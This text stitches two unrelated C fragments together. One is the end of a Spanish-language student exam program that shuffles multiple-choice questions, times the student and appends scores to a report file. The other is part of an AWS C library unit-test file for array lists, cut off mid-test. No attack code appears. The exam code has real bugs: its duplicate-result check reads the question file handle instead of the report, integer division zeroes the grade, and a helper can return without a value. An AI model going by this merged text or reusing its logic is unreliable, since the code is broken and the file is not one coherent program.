nombreExamen_1); getchar(); strcat(nombreExamen_1,"\0"); if((fpin=fopen(nombreExamen_1,"rt"))==NULL) { printf("\tEl examen '%s' no se encontro.\n\n\tIntentar con un examen existente para continuar.\n\n", nombreExamen_1); exit(1); } numeroLineas=archivoLineas(nombreExamen_1); quinfo qlist[numeroLineas];//quinfo *qlist=malloc(numeroLineas); for(cont=0;cont<numeroLineas;cont++) { fscanf(fpin,"%d,%[^,],%[^,],%[^,],%[^,],%[^,],%d", &qlist[cont].qnum, qlist[cont].q, qlist[cont].cans.ans, qlist[cont].b.ans, qlist[cont].c.ans, qlist[cont].d.ans, &qlist[cont].pts); //printf("%d, %s, %s, %s, %s, %s, %d\n",qlist[cont].qnum, qlist[cont].q, qlist[cont].cans.ans,qlist[cont].b.ans,qlist[cont].c.ans,qlist[cont].d.ans,qlist[cont].pts); } //rvalue= malloc(numeroLineas*sizeof(int)); int rvalue[numeroLineas]; RVALUE(numeroLineas, rvalue); system("clear"); printf("\tEXAMEN:\n"); gettimeofday(&inicio, NULL); for(cont=0;cont<numeroLineas;cont++) { //printf("%d\n",cont); RVALANS(4, rvalans); printf("\nPregunta %d:\t\tValor:%d\n",cont+1,qlist[rvalue[cont]].pts); printf("%s\n",qlist[rvalue[cont]].q); for(cont2=0;cont2<4;cont2++) { if(rvalans[cont2]==1){ qlist[rvalue[cont]].cans.l=CSORT(cont2); printf("%c) %s\n", qlist[rvalue[cont]].cans.l,qlist[rvalue[cont]].cans.ans); } if(rvalans[cont2]==2){ qlist[rvalue[cont]].b.l=CSORT(cont2); printf("%c) %s\n", qlist[rvalue[cont]].b.l,qlist[rvalue[cont]].b.ans); } if(rvalans[cont2]==3){ qlist[rvalue[cont]].c.l=CSORT(cont2); printf("%c) %s\n", qlist[rvalue[cont]].c.l,qlist[rvalue[cont]].c.ans); } if(rvalans[cont2]==4){ qlist[rvalue[cont]].d.l=CSORT(cont2); printf("%c) %s\n", qlist[rvalue[cont]].d.l,qlist[rvalue[cont]].d.ans); } } printf("Ingresa el inciso de la respuesta correcta: "); scanf("%c", &r); getchar(); if(r == qlist[rvalue[cont]].cans.l) score+= qlist[rvalue[cont]].pts; totscore+= qlist[rvalue[cont]].pts; } gettimeofday(&final, NULL); segundos = (double)(final.tv_usec - inicio.tv_usec) / 1000000 + (double)(final.tv_sec - inicio.tv_sec); printf("\n\nTotal: %d\ttotalpuntos: %d\ntiempo: %f segundos\n", score, totscore,segundos); if((fp_out=fopen("informeAlumno.txt","rt"))!=NULL) { while(fgets(lineaAlumnos,100,fpin)!=NULL) { sscanf(lineaAlumnos,"%[^,],%[^\n],\n",cuentaAlumno, buff); if((strcmp(cuentaAlumno,numeroCuenta))==0) { printf("El examen no es valido, ya hay un resultado previo.\n"); exit(1); } } fclose(fp_out); } fp_out=fopen("informeAlumno.txt","a"); fprintf(fp_out,"%s,%s,%s,%d,%d,%d,%f,\n",cuentaAlumno,nombreAlumno, nombreExamen_1, (score/totscore*10),totscore, score, segundos); printf("\n\n"); fclose(fpin); fclose(fp_out); } char CSORT(int cont2) { if(cont2==0) return 'A'; if(cont2==1) return 'B'; if(cont2==2) return 'C'; if(cont2==3) return 'D'; } void RVALUE(int numlin, int rvalue[])//Igual que la funcion RVALANS; pero cambia las direcciones de rvalue[]. { int cont,x,aux=0; int key; srand((unsigned)time(NULL)); for(cont=0;cont<numlin;cont++) { key=0; do { x=rand()%numlin; for(aux=0;aux<=cont;aux++) { if(aux==cont) key=1; if(rvalue[aux]==x) break; } }while(key==0); rvalue[cont]=x; //printf("%d ",rvalue[cont]); } return; } void RVALANS(int numlin, int rvalans[])//Igual que la funvion RVALUE: pero cambia los valores de RVALANS { int cont=0,x=0,aux=0; int key=0; srand((unsigned)time(NULL)); for(cont=0;cont<numlin;cont++) { key=0; do { x=rand()%numlin+1; for(aux=0;aux<=cont;aux++) { if(aux==cont) key=1; if(rvalans[aux]==x) break; } }while(key==0); rvalans[cont]=x; //printf("%d ",rvalans[cont]); } return; } /* * @Brief/resumen La función permite recibir la información del aplicador de * exámenes, y evalúa las respuestas correctas del alumno y envía * la calificación a un archivo en el cual se tendrá la base de * datos genera. * @Author/autor Bruno Valerio Fernández, Abdín Alejandro Alcazar Terán, Benjamín Menchaca Reyna * @Return void */ /* * @Brief/resumen La función permite generar un archivo para leer las líneas. * @Author/autor Bruno Valerio Fernández, Abdín Alejandro Alcazar Terán, Benjamín Menchaca Reyna * @Return contador_1: es el contador de líneas por archivo. */ int archivoLineas(char *nombreArchivo) { FILE *Bancopreg; int contador_1=0; char lineaArchivo[200]; Bancopreg=fopen(nombreArchivo,"rt"); while((fgets(lineaArchivo,200,Bancopreg))!=NULL) { contador_1++; } if(contador_1<5) { printf("\n\tEs recomendable tener un minimo de 5 preguntas escritas en el banco de preguntas.\n\tAgregar mas preguntas o utilizar otro archivo para continuar.\n"); exit(1); } fclose(Bancopreg); return contador_1; }
C
/* * Copyright 2010-2018 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #include <aws/common/array_list.h> #include <aws/common/string.h> #include <aws/testing/aws_test_harness.h> static int array_list_order_push_back_pop_front_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list; static size_t list_size = 4; int first = 1, second = 2, third = 3, fourth = 4; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list, alloc, list_size, sizeof(int)), "List setup should have been successful. err code %d", aws_last_error()); ASSERT_INT_EQUALS(0, list.length, "List size should be 0."); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)list_size * sizeof(int)); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&first), "List push failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&second), "List push failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&third), "List push failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&fourth), "List push failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(list_size, list.length, "List size should be %d.", (int)list_size); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)list_size * sizeof(int)); int item; ASSERT_SUCCESS(aws_array_list_front(&list, (void *)&item), "List front failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_pop_front(&list), "List pop front failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(first, item, "Item should have been the first item."); ASSERT_INT_EQUALS(list_size - 1, list.length, "List size should be %d.", (int)list_size - 1); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)list_size * sizeof(int)); ASSERT_SUCCESS(aws_array_list_front(&list, (void *)&item), "List front failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_pop_front(&list), "List pop front failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(second, item, "Item should have been the second item."); ASSERT_INT_EQUALS(list_size - 2, list.length, "List size should be %d.", (int)list_size - 2); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)list_size * sizeof(int)); ASSERT_SUCCESS(aws_array_list_front(&list, (void *)&item), "List front failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_pop_front(&list), "List pop front failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(third, item, "Item should have been the third item."); ASSERT_INT_EQUALS(list_size - 3, list.length, "List size should be %d.", (int)list_size - 3); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)list_size * sizeof(int)); ASSERT_SUCCESS(aws_array_list_front(&list, (void *)&item), "List front failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_pop_front(&list), "List pop front failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(fourth, item, "Item should have been the fourth item."); ASSERT_INT_EQUALS(list_size - 4, list.length, "List size should be %d.", (int)list_size - 4); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)list_size * sizeof(int)); aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_order_push_back_pop_front_test, array_list_order_push_back_pop_front_fn) static int array_list_order_push_back_pop_back_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list; static size_t list_size = 4; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list, alloc, list_size, sizeof(int)), "List initialization failed with error %d", aws_last_error()); int first = 1, second = 2, third = 3, fourth = 4; ASSERT_INT_EQUALS(0, list.length, "List size should be 0."); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)list_size * sizeof(int)); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&first), "List push failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&second), "List push failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&third), "List push failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&fourth), "List push failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(list_size, list.length, "List size should be %d.", (int)list_size); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)list_size * sizeof(int)); int item; ASSERT_SUCCESS(aws_array_list_back(&list, (void *)&item), "List back failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_pop_back(&list), "List pop back failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(fourth, item, "Item should have been the fourth item."); ASSERT_INT_EQUALS(list_size - 1, list.length, "List size should be %d.", (int)list_size - 4); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)list_size * sizeof(int)); ASSERT_SUCCESS(aws_array_list_back(&list, (void *)&item), "List back failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_pop_back(&list), "List pop back failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(third, item, "Item should have been the third item."); ASSERT_INT_EQUALS(list_size - 2, list.length, "List size should be %d.", (int)list_size - 3); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)list_size * sizeof(int)); ASSERT_SUCCESS(aws_array_list_back(&list, (void *)&item), "List back failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_pop_back(&list), "List pop back failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(second, item, "Item should have been the second item."); ASSERT_INT_EQUALS(list_size - 3, list.length, "List size should be %d.", (int)list_size - 2); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)list_size * sizeof(int)); ASSERT_SUCCESS(aws_array_list_back(&list, (void *)&item), "List back failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_pop_back(&list), "List pop back failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(first, item, "Item should have been the first item."); ASSERT_INT_EQUALS(list_size - 4, list.length, "List size should be %d.", (int)list_size - 1); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)list_size * sizeof(int)); aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_order_push_back_pop_back_test, array_list_order_push_back_pop_back_fn) static int array_list_pop_front_n_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list, alloc, 8, sizeof(int))); int first = 1, second = 2, third = 3, fourth = 4; int item; ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&first)); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&second)); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&third)); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&fourth)); /* Popping 0 front elements should have no effect */ aws_array_list_pop_front_n(&list, 0); ASSERT_INT_EQUALS(4, aws_array_list_length(&list)); /* Pop 2/4 front elements. Third item should be in front. */ aws_array_list_pop_front_n(&list, 2); ASSERT_INT_EQUALS(2, aws_array_list_length(&list)); ASSERT_SUCCESS(aws_array_list_front(&list, &item)); ASSERT_INT_EQUALS(third, item); /* Pop last 2/2 elements. List should be empty. */ aws_array_list_pop_front_n(&list, 2); ASSERT_INT_EQUALS(0, aws_array_list_length(&list), "List should be empty after popping last 2 items"); /* Put some elements into list again. * Popping more items than list contains should just clear the list */ ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&first)); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&second)); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&third)); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&fourth)); aws_array_list_pop_front_n(&list, 99); ASSERT_INT_EQUALS(0, aws_array_list_length(&list)); aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_pop_front_n_test, array_list_pop_front_n_fn) static int array_list_exponential_mem_model_test_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list; static size_t list_size = 1; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list, alloc, list_size, sizeof(int)), "List initialization failed with error %d", aws_last_error()); int first = 1, second = 2, third = 3; ASSERT_INT_EQUALS(0, list.length, "List size should be 0."); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)list_size * sizeof(int)); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&first), "array list push back failed with error %d", aws_last_error()); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int)); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&second), "array list push back failed with error %d", aws_last_error()); ASSERT_INT_EQUALS(list_size << 1, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)(list_size << 1) * sizeof(int)); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&third), "array list push back failed with error %d", aws_last_error()); ASSERT_INT_EQUALS(list_size << 2, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)(list_size << 2) * sizeof(int)); ASSERT_INT_EQUALS(3, list.length, "List size should be %d.", 3); int item; ASSERT_SUCCESS(aws_array_list_front(&list, (void *)&item), "List front failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_pop_front(&list), "List pop front failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(first, item, "Item should have been the first item."); ASSERT_SUCCESS(aws_array_list_front(&list, (void *)&item), "List front failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_pop_front(&list), "List pop front failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(second, item, "Item should have been the second item."); ASSERT_SUCCESS(aws_array_list_front(&list, (void *)&item), "List front failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_pop_front(&list), "List pop front failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(third, item, "Item should have been the third item."); ASSERT_INT_EQUALS(0, list.length, "List size should be 0."); ASSERT_INT_EQUALS(list_size << 2, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)(list_size << 2) * sizeof(int)); aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_exponential_mem_model_test, array_list_exponential_mem_model_test_fn) static int array_list_exponential_mem_model_iteration_test_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list; static size_t list_size = 1; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list, alloc, list_size, sizeof(int)), "List initialization failed with error %d", aws_last_error()); int first = 1, second = 2, third = 3; ASSERT_INT_EQUALS(0, list.length, "List size should be 0."); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)list_size * sizeof(int)); ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&first, 0), "array list push back failed with error %d", aws_last_error()); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int)); ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&second, 1), "array list push back failed with error %d", aws_last_error()); ASSERT_INT_EQUALS(list_size << 1, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)(list_size << 1) * sizeof(int)); ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&third, 2), "array list push back failed with error %d", aws_last_error()); ASSERT_INT_EQUALS(list_size << 2, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)(list_size << 2) * sizeof(int)); ASSERT_INT_EQUALS(3, list.length, "List size should be %d.", 3); int item; ASSERT_SUCCESS(aws_array_list_front(&list, (void *)&item), "List front failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_pop_front(&list), "List pop front failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(first, item, "Item should have been the first item."); ASSERT_SUCCESS(aws_array_list_front(&list, (void *)&item), "List front failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_pop_front(&list), "List pop front failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(second, item, "Item should have been the second item."); ASSERT_SUCCESS(aws_array_list_front(&list, (void *)&item), "List front failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_pop_front(&list), "List pop front failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(third, item, "Item should have been the third item."); ASSERT_INT_EQUALS(0, list.length, "List size should be 0."); ASSERT_INT_EQUALS(list_size << 2, list.current_size / sizeof(int), "Allocated list size should be %d.", (int)(list_size << 2) * sizeof(int)); aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_exponential_mem_model_iteration_test, array_list_exponential_mem_model_iteration_test_fn) static int array_list_set_at_overwrite_safety_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list; static size_t list_size = 4; int overwrite_data[5]; aws_array_list_init_static(&list, overwrite_data, list_size, sizeof(int)); memset(overwrite_data, 0x11, sizeof(overwrite_data)); list.current_size = list_size * sizeof(int); int value = 0xFFFFFFFF; ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&value, 3)); ASSERT_ERROR(AWS_ERROR_INVALID_INDEX, aws_array_list_set_at(&list, (void *)&value, 4)); ASSERT_INT_EQUALS(0x11111111, overwrite_data[4]); aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_set_at_overwrite_safety, array_list_set_at_overwrite_safety_fn) static int array_list_iteration_test_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list; static size_t list_size = 4; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list, alloc, list_size, sizeof(int)), "List initialization failed with error %d", aws_last_error()); int first = 1, second = 2, third = 3, fourth = 4; ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&first, 0), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(1, list.length, "List size should be %d.", 1); ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&second, 1), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(2, list.length, "List size should be %d.", 2); ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&third, 2), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(3, list.length, "List size should be %d.", 3); ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&fourth, 3), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(4, list.length, "List size should be %d.", 4); int item; ASSERT_SUCCESS(aws_array_list_get_at(&list, (void *)&item, 0), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(first, item, "Item should have been the first item."); ASSERT_SUCCESS(aws_array_list_get_at(&list, (void *)&item, 1), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(second, item, "Item should have been the second item."); ASSERT_SUCCESS(aws_array_list_get_at(&list, (void *)&item, 2), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(third, item, "Item should have been the third item."); ASSERT_SUCCESS(aws_array_list_get_at(&list, (void *)&item, 3), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(fourth, item, "Item should have been the fourth item."); aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_iteration_test, array_list_iteration_test_fn) static int array_list_iteration_by_ptr_test_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list; static size_t list_size = 4; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list, alloc, list_size, sizeof(int)), "List initialization failed with error %d", aws_last_error()); int first = 1, second = 2, third = 3, fourth = 4; ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&first, 0), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(1, list.length, "List size should be %d.", 1); ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&second, 1), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(2, list.length, "List size should be %d.", 2); ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&third, 2), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(3, list.length, "List size should be %d.", 3); ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&fourth, 3), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(4, list.length, "List size should be %d.", 4); int *item; ASSERT_SUCCESS(aws_array_list_get_at_ptr(&list, (void **)&item, 0), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(first, *item, "Item should have been the first item."); ASSERT_SUCCESS(aws_array_list_get_at_ptr(&list, (void **)&item, 1), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(second, *item, "Item should have been the second item."); ASSERT_SUCCESS(aws_array_list_get_at_ptr(&list, (void **)&item, 2), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(third, *item, "Item should have been the third item."); ASSERT_SUCCESS(aws_array_list_get_at_ptr(&list, (void **)&item, 3), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(fourth, *item, "Item should have been the fourth item."); aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_iteration_by_ptr_test, array_list_iteration_by_ptr_test_fn) static int array_list_preallocated_iteration_test_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list; static int list_data[4]; static const size_t list_size = 4; aws_array_list_init_static(&list, (void *)list_data, list_size, sizeof(int)); int first = 1, second = 2, third = 3, fourth = 4; ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&first, 0), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(1, list.length, "List size should be %d.", 1); ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&second, 1), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(2, list.length, "List size should be %d.", 2); ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&third, 2), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(3, list.length, "List size should be %d.", 3); ASSERT_SUCCESS(aws_array_list_set_at(&list, (void *)&fourth, 3), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(4, list.length, "List size should be %d.", 4); ASSERT_FAILS(aws_array_list_set_at(&list, (void *)&fourth, 4), "Adding element past the end should have failed"); ASSERT_INT_EQUALS(AWS_ERROR_INVALID_INDEX, aws_last_error(), "Error code should have been INVALID_INDEX but was %d", aws_last_error()); int item; ASSERT_SUCCESS(aws_array_list_get_at(&list, (void *)&item, 0), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(first, item, "Item should have been the first item."); ASSERT_SUCCESS(aws_array_list_get_at(&list, (void *)&item, 1), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(second, item, "Item should have been the second item."); ASSERT_SUCCESS(aws_array_list_get_at(&list, (void *)&item, 2), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(third, item, "Item should have been the third item."); ASSERT_SUCCESS(aws_array_list_get_at(&list, (void *)&item, 3), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(fourth, item, "Item should have been the fourth item."); ASSERT_FAILS(aws_array_list_get_at(&list, (void *)&item, 4), "Getting an element past the end should have failed"); ASSERT_INT_EQUALS(AWS_ERROR_INVALID_INDEX, aws_last_error(), "Error code should have been INVALID_INDEX but was %d", aws_last_error()); aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_preallocated_iteration_test, array_list_preallocated_iteration_test_fn) static int array_list_preallocated_push_test_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list; static int list_data[4]; static const size_t list_size = 4; aws_array_list_init_static(&list, (void *)list_data, list_size, sizeof(int)); int first = 1, second = 2, third = 3, fourth = 4; ASSERT_INT_EQUALS(0, list.length, "List size should be 0."); ASSERT_INT_EQUALS(sizeof(list_data), list.current_size, "Allocated list size should be %d.", sizeof(list_data)); ASSERT_SUCCESS(aws_array_list_push_back(&list, &first), "List push failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_push_back(&list, &second), "List push failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_push_back(&list, &third), "List push failed with error code %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_push_back(&list, &fourth), "List push failed with error code %d", aws_last_error()); ASSERT_ERROR(AWS_ERROR_LIST_EXCEEDS_MAX_SIZE, aws_array_list_push_back(&list, &fourth), "List push past static size should have failed with AWS_ERROR_LIST_EXCEEDS_MAX_SIZE but was %d", aws_last_error()); aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_preallocated_push_test, array_list_preallocated_push_test_fn) static int array_list_shrink_to_fit_test_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list; static size_t list_size = 4; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list, alloc, list_size, sizeof(int)), "List initialization failed with error %d", aws_last_error()); int first = 1, second = 2; ASSERT_SUCCESS(aws_array_list_push_back(&list, &first), "List push failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(1, list.length, "List size should be %d.", 1); ASSERT_SUCCESS(aws_array_list_push_back(&list, &second), "List push failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(2, list.length, "List size should be %d.", 2); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "size before shrink should be %d.", list_size * sizeof(int)); ASSERT_SUCCESS(aws_array_list_shrink_to_fit(&list), "List shrink to fit failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(2, list.length, "List size should be %d.", 2); ASSERT_INT_EQUALS(2, list.current_size / sizeof(int), "Shrunken size should be %d.", 2 * sizeof(int)); int item; ASSERT_SUCCESS(aws_array_list_get_at(&list, &item, 0), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(first, item, "Item should have been the first item."); ASSERT_SUCCESS(aws_array_list_get_at(&list, &item, 1), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(second, item, "Item should have been the second item."); ASSERT_FAILS(aws_array_list_get_at(&list, &item, 2), "Getting an element past the end should have failed"); ASSERT_INT_EQUALS(AWS_ERROR_INVALID_INDEX, aws_last_error(), "Error code should have been INVALID_INDEX but was %d", aws_last_error()); aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_shrink_to_fit_test, array_list_shrink_to_fit_test_fn) static int array_list_shrink_to_fit_static_test_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list; static int list_data[4]; static const size_t list_size = 4; aws_array_list_init_static(&list, (void *)list_data, list_size, sizeof(int)); int first = 1, second = 2; ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&first), "List push failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(1, list.length, "List size should be %d.", 1); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&second), "List push failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(2, list.length, "List size should be %d.", 2); ASSERT_INT_EQUALS(sizeof(list_data), list.current_size, "size before shrink should be %d.", sizeof(list_data)); ASSERT_FAILS(aws_array_list_shrink_to_fit(&list), "List shrink of static list should have failed."); ASSERT_INT_EQUALS(AWS_ERROR_LIST_STATIC_MODE_CANT_SHRINK, aws_last_error(), "Error code should have been LIST_STATIC_MODE_CANT_SHRINK but was %d", aws_last_error()); ASSERT_PTR_EQUALS(&list_data, list.data, "The underlying allocation should not have changed"); ASSERT_INT_EQUALS(sizeof(list_data), list.current_size, "List size should not have been changed"); aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_shrink_to_fit_static_test, array_list_shrink_to_fit_static_test_fn) static int array_list_clear_test_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list; static size_t list_size = 4; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list, alloc, list_size, sizeof(int)), "List initialization failed with error %d", aws_last_error()); int first = 1, second = 2; ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&first), "List push failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(1, list.length, "List size should be %d.", 1); ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)&second), "List push failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(2, list.length, "List size should be %d.", 2); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "size before clear should be %d.", list_size * sizeof(int)); aws_array_list_clear(&list); ASSERT_INT_EQUALS(0, list.length, "List size should be %d after clear.", 0); ASSERT_INT_EQUALS(list_size, list.current_size / sizeof(int), "cleared size should be %d.", (int)list_size * sizeof(int)); int item; ASSERT_FAILS(aws_array_list_front(&list, (void *)&item), "front() after a clear on list should have been an error"); 